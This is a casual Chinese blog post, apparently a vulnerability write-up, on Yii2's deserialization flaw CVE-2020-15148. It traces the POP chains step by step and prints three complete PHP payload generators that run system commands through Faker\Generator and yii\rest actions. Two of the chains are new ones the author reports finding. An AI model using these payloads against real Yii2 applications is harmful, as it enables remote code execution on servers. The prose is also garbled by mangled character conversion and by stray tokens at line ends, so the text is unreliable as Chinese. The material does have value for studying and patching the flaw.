????弟们,又到周末了,是时候给你们整活儿了php
放心,此次不是在线吹牛环节,我们仍是得偶尔换换口味整整硬菜嘛git
话说github
周五咱们小组团建结束,我扶着地铁回到了我温暖的小窝web
一进屋,这该死的使人陶醉的氛围就让我丢盔卸甲,疲软不堪,就像是陷入了一位妙龄少女的温柔乡通常thinkphp
我顺手把小书包儿一扔,鞋儿一脱,打开电脑准备欣赏一下脱口秀大会,给本身补充点快乐微信
又顺手打开了荒野乱斗yii2
一边在脱口秀的舞台上补充快乐,一边在多人竞技的战场上独领风骚cookie
这滋味,10瓶肥宅快乐水也换不来呀????composer
给你们看看我这职业玩家般丝滑的操做框架
但是正当我玩的起劲的时候,我无心间在微信上看到有师傅发了最新的yii2框架反序列化漏洞payload
我立马开始焦虑起来????,这帮家伙真tm不休息吗
手里的游戏忽然就不香了,脱口秀的舞台也黯淡无光了
才怪????
焦虑归焦虑,夜仍是不能熬的呀,猛男历来都是十一点睡觉的,嘤嘤嘤
“明天起床搞”,因而我在焦虑中睡去,并给本身定了个六点的⏰
果真,今天7:30我起床了????,一块儿床我就给了本身两耳光:“废物,你个区区(赘婿)菜鸡,还有脸睡懒觉!”
我起床匆匆收拾了一下(把昨晚没看完的脱口秀大会补完),而后就开始着手分析这个反序列化POP链了
我们仍是先来分析一下别人的这个利用链,而后,再说我挖到的一大堆利用链????
挖掘以前仍是要搭建好环境嘛,去github上下载yii2的2.0.37
版本或其余更低版本
固然,你也能够选择使用composer安装,不过我用composer安装不了(特别慢)因此我是直接到github上下载的
本身在github上下载的yii2须要修改config/web.php
文件里cookieValidationKey
的值,随便什么值都行
而后切换到你刚刚下载的yii框架根目录,执行命令php yii serve
,而后你的yii就在8080端口跑起来了:
接下来,我们就要去看利用链了,在没有细节披露的状况下就去看github的commit记录:
上图就是与cve-2020-15148相关的全部更新,能够看到就只是在yii\db\BatchQueryResult
类里添加了一个__wakeup
方法,有些朋友可能不太了解这个方法
__wakeup
方法在类被反序列化时会自动被调用,而这里这么写,目的就是在当BatchQueryResult类被反序列化时就直接报错,避免反序列化的发生,也就避免了漏洞
那从上面的信息就能够知道BatchQueryResult确定是这个反序列化链中的一环,并且通常都是第一环,因此我们就直接去看这个类吧
反序列化利用链的关键函数就是__wakeup
以及__destruct
,因此,咱们直接看__destruct
:
public function __destruct() { // make sure cursor is closed $this->reset(); } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }
destruct方法里调用了reset方法,reset方法里又调用了close()方法,我一开始觉得是close()方法有问题,而后我全局搜索了一下close方法,发现好像没有利用点
而后我回去翻了一下我以前挖thinkphp反序列化的文章,复习了一下php反序列化????
才意识到$this->_dataREader->close()
这里能够利用魔术方法__call
,因而开始全局搜索__call
,出现了不少结果,可是最好利用的一个是/vendor/fzaninotto/faker/src/Faker/Generator.php
,它的__call
方法是这样的:
public function __call($method, $attributes) { return $this->format($method, $attributes); }
咱们跟进format:
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
format里调用了call_user_func_array,$formatter
与$arguments
咱们都不可控,
目前$formatter='close'
,$arguments
为空
可是不要紧
$formatter
传入了$this->getFormatter
,在这个方法中,$this->formatters
是咱们可控的,这也就意味着getFormatter
方法的返回值是可控的
也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空
如今咱们能够调用yii框架中的任何一个无参的方法了,这还不够,咱们须要rce
因此,咱们要找一个无参数的方法,在这个方法中咱们能够实现任意代码执行或者间接实现任意代码执行
到目前为止我还不知道这个利用链到底有多长,因此,我一开始采用的笨办法就是找出框架中全部的无参数方法,而后一个个排查
当我输入正则:function \w+\(\)
进行????时,直接冒出来几千个无参的函数,这让我怎么玩?
后来才知道大哥们是直接找的调用了call_user_func函数的无参方法,可能这就是大师傅们的经验吧
构造正则:function \w+\(\) ?\n?\{(.*\n)+call_user_func
出来22个结果,老怀大慰呀:
通过排查,发现rest/CreateAction.php
以及rest/IndexAction.php
都特别????,很好利用
固然,还有其余的,感兴趣的同窗能够自行查看
就拿IndexAction.php
中的run方法来讲,代码以下:
public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); }
可见$this->checkAccess
以及$this->id
均可控,那,这条利用链不就成了吗:
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
构造个payload:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
而后,咱们验证一下payload是否有效,由于这仅仅是一个反序列化利用链,因此还须要一个反序列化的入口点,这个须要咱们本身构造
在controllers目录下建立一个Controller:
而后我们发送payload:
虽然有报错,可是我们的命令仍是执行了的,nice????
ok,说完别人的,我该来讲说本身挖的一些其它链了
从github commit记录咱们已经知道新版本的BatchQueryResult
类已经没法反序列化了,那么咱们就须要找一些其它的类了
找其余的类的方式也很简单,全局搜索__destruct
与__wakeup
函数,而后一个个排查
__wakeup
函数都没啥可利用的,可是有几个__destruct
函数引发了个人注意
第一个天然是Psr\Http\Message\StreamInterface\FnStream
下的析构函数啦,看看它的代码:
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
我当时就心想,这么简单的一处反序列化都没发现吗,太菜了8,后来才发现FnStream类也修改了__wakeup
函数为:
public function __wakeup() { throw new \LogicException('FnStream should never be unserialized'); }
很差意思,是我傻逼了
那么继续看其它的呗,接下来登场的是Codeception\Extension\RunProcess
,咱们来看下它的__destruct
方法:
public function __destruct() { $this->stopProcess(); } public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; }
从上述代码能够看到$this->processes
可控,那也就意味着$process
可控,而后下面又调用了$process->isRunning
,这不又能够接上第一条利用链的__call
方法开头的后半段吗?
而后利用链变成:
Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里须要改成isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
而后再来看看类Swift_KeyCache_DiskKeyCache
,看看它的__destruct
:
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
跟进clearAll方法:
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } .... } }
这里的$this->keys
以及$nsKey、$itemKey
啥的都是咱们可控的,因此是能够执行到$this->clearKey
的,跟进去:
public function clearKey($nsKey, $itemKey) { if ($this->hasKey($nsKey, $itemKey)) { $this->freeHandle($nsKey, $itemKey); unlink($this->path.'/'.$nsKey.'/'.$itemKey); } }
这里的$this->path
也可控,这就方便了,能够看到这里是进行了一个字符串拼接操做,那么意味着能够利用魔术方法__toString
来触发后续操做
全局搜索一下__toString
方法,真的很多呀:
这怎么都能找到一个能利用的吧,我随便找了一下,就有三个,就随便拿一个说吧:
上图是我挖的过程当中作的笔记????
就拿See.php
中的__toString
举例,代码以下:
public function __toString() : string { return $this->refers . ($this->description ? ' ' . $this->description->render() : ''); }
能够看到$this->description
可控,又能够利用__call
,新链出炉:
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 这里须要改成isRunning $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "axin"=>array("is"=>"handsome") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
固然,若是你想要一条全新的链也不是不行,只不过我要吃午????去了,下次见
怕什么真理无穷,进一寸有进一寸的欢喜